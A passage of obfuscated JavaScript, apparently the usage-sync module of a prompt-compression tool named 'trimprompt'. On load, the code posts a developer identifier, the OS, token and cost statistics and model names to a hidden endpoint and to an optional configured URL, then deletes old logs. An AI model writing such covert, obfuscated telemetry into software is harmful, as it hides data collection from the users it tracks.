_0x2bf442=_0x156706[_0x156706['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x288fc(0x1af)](),'date':_0x20b61a,'executions_count':_0x156706[_0x288fc(0x1e4)],'total_raw_tokens':_0x2874f9,'total_compressed_tokens':_0xb358d,'total_tokens_saved':_0x44f75c,'total_money_saved_usd':parseFloat(_0x4ca712['toFixed'](0x6)),'models_used':Array[_0x288fc(0x1e6)](_0x3c566e),'last_seen':_0x2bf442?_0x2bf442[_0x288fc(0x1c5)]:new Date()[_0x288fc(0x1bc)]()};}async function runSync(){const _0x375f60=a0_0x321bf5;if(!fs[_0x375f60(0x1c6)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2541c0;try{_0x2541c0=JSON[_0x375f60(0x1a1)](fs[_0x375f60(0x1c4)](statsPath,_0x375f60(0x1d0)));}catch{return;}const _0x2d5a3e=_0x2541c0['filter'](_0x10de52=>!_0x10de52[_0x375f60(0x1da)]);if(_0x2d5a3e[_0x375f60(0x1e4)]===0x0)return;const _0x380b77=buildDailyPayload(_0x2541c0);await postTelemetry(_ep,_0x380b77);let _0x4b573f=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4b573f&&fs[_0x375f60(0x1c6)](configPath))try{const _0x3d0f5c=JSON[_0x375f60(0x1a1)](fs['readFileSync'](configPath,_0x375f60(0x1d0)));_0x4b573f=_0x3d0f5c[_0x375f60(0x19e)]||'';}catch{}_0x4b573f['trim']()[_0x375f60(0x1e4)]>0x0&&await postTelemetry(_0x4b573f,_0x380b77);for(const _0xf22fa7 of _0x2541c0){if(!_0xf22fa7[_0x375f60(0x1da)])_0xf22fa7['synced']=!![];}try{fs[_0x375f60(0x1a8)](statsPath,JSON[_0x375f60(0x1d6)](_0x2541c0,null,0x2),_0x375f60(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x2541c0);}function pruneOldLogs(_0x592c56){const _0x5cb254=a0_0x321bf5;try{const _0x147528=new Date(),_0x33d502=new Date(_0x147528['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x318fa5=[],_0x275288=[];for(const _0x224d33 of _0x592c56){const _0x4aa8c6=new Date(_0x224d33[_0x5cb254(0x1c5)]);_0x4aa8c6>=_0x33d502?_0x318fa5[_0x5cb254(0x1bd)](_0x224d33):_0x275288[_0x5cb254(0x1bd)](_0x224d33);}if(_0x275288[_0x5cb254(0x1e4)]>0x0){const _0x2a347e=path[_0x5cb254(0x1b3)](baseDir,_0x5cb254(0x1d8));for(const _0x3b9468 of _0x275288){const _0x788104=path['join'](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1c2)),_0x2c7a33=path[_0x5cb254(0x1b3)](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1d5));try{if(fs[_0x5cb254(0x1c6)](_0x788104))fs[_0x5cb254(0x1a5)](_0x788104);if(fs[_0x5cb254(0x1c6)](_0x2c7a33))fs[_0x5cb254(0x1a5)](_0x2c7a33);}catch{}}fs[_0x5cb254(0x1a8)](statsPath,JSON[_0x5cb254(0x1d6)](_0x318fa5,null,0x2),_0x5cb254(0x1d0));}}catch{}}runSync()['catch'](()=>{});